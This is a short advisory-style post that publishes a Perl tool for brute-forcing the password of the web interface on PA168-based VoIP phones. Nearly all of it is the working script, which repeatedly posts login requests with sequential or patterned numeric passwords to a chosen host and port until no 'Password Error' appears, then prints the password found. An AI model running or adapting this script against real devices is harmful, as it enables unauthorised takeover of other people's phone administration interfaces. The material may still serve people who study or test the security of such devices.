[TOOL] PA168 Web Interface Password Brute Forcer

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  PA168 Web Interface Password Brute Forcer
------------------------------------------------------------------------


SUMMARY



DETAILS

The following tool can be used to "break" into PA168 based phone's 
password protected web interface by brute forcing the password.

Tool source:
#!/usr/bin/perl
# The following is a very simple password brute forcer for PA168 series of 
devices
# It is able to "break" into its web interface in a few seconds if you 
choose option 1, and your
# VoIP phone's password has not been changed
#
# Author: Noam Rathaus (noamr[.at.]beyondsecurity.com)

use integer;
use IO::Socket;
use strict;

if (@ARGV < 3)
{
 print $0. " hostname port method first_password\n";
 print "\tHostname - The hostname or IP to test\n";
 print "\tPort - The port of the device\n";
 print "\tMethod - 0 for brute force, 1 for known passwords\n";
 print "\tFirst_password - The first password to test (i.e. if you stopped 
somewhere and want to resume, by default set to 1)\n";
 exit(0);
}

my $Host = shift;
my $Port = shift;
my $Method = shift;
my $remote;
my $Connection_Closed = 1;

print "Connected\n";

my $Password = 1;
my $Content = "";
my $Request = "";
my $LastPassword = shift;
if ($Method eq "1")
{
 $LastPassword = "1";
}
if ($LastPassword eq "")
{
 $LastPassword = 1;
}

my $Average = 0;
my $Count = 0;
my $StartTime = time;
my $CurrentTime = time;
my $CurrentPassword;
my $Passed;
for ($Password = $LastPassword; $Password < 123456789; $Password ++)
{
 if ($Method)
 {
  if ($Count < 100)
  {
   if ($Count % 10 == 0)
   {
    $CurrentPassword = "";
   }
   
   $CurrentPassword .= $Count / 10;
  }
  elsif ($Count == 100)
  {
   $CurrentPassword = "";
  }
  else
  {
   $CurrentPassword .= $Count - 100;
  }
 }
 else
 {
  $CurrentPassword = $Password;
 }

 $Count ++;
 $CurrentTime = time;
 $Passed = $CurrentTime - $StartTime + 1;
 $Average = $Count / ($Passed);
 print "Attempting password: $CurrentPassword ($Average passwd/scnd)\n";
 my $PasswordError = 0;
 if ($Connection_Closed)
 {
  $remote = IO::Socket::INET->new ( Proto => "tcp", PeerAddr => $Host, 
PeerPort => $Port);
  unless ($remote) { die "cannot connect to http daemon on $Host" }
  $Connection_Closed = 0;
 }

 $Content = "auth=$CurrentPassword&login=+++Login+++";

 $Request = "POST /a HTTP/1.1\r
Host: $Host\r
User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.7.10) 
Gecko/20050730 Firefox/1.0.6 (Debian package 1.0.6-2)\r
Accept: text/plain
Accept-Language: en-us,en;q=0.5\r
Accept-Encoding: gzip,deflate\r
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7\r
Keep-Alive: 300\r
Connection: keep-alive\r
Referer: http://10.10.10.110/\r
Content-Type: application/x-www-form-urlencoded\r
Content-Length: ". length($Content) ."\r
\r
$Content";

 print $remote $Request;
 my $Incoming;
 while ($Incoming = <$remote>)
 {
  if ($Incoming =~ /Connection: (C|c)lose/)
  {
   $Connection_Closed = 1;
  }
  if ($Incoming =~ /Password Error/)
  {
   $PasswordError = 1;
   last;
  }
 }
 if ($Connection_Closed)
 {
  close ($remote);
 }
 if (!$PasswordError)
 {
  print "Password found: $CurrentPassword\n";
  last;
 }
}


ADDITIONAL INFORMATION

The information has been provided by Noam Rathaus.



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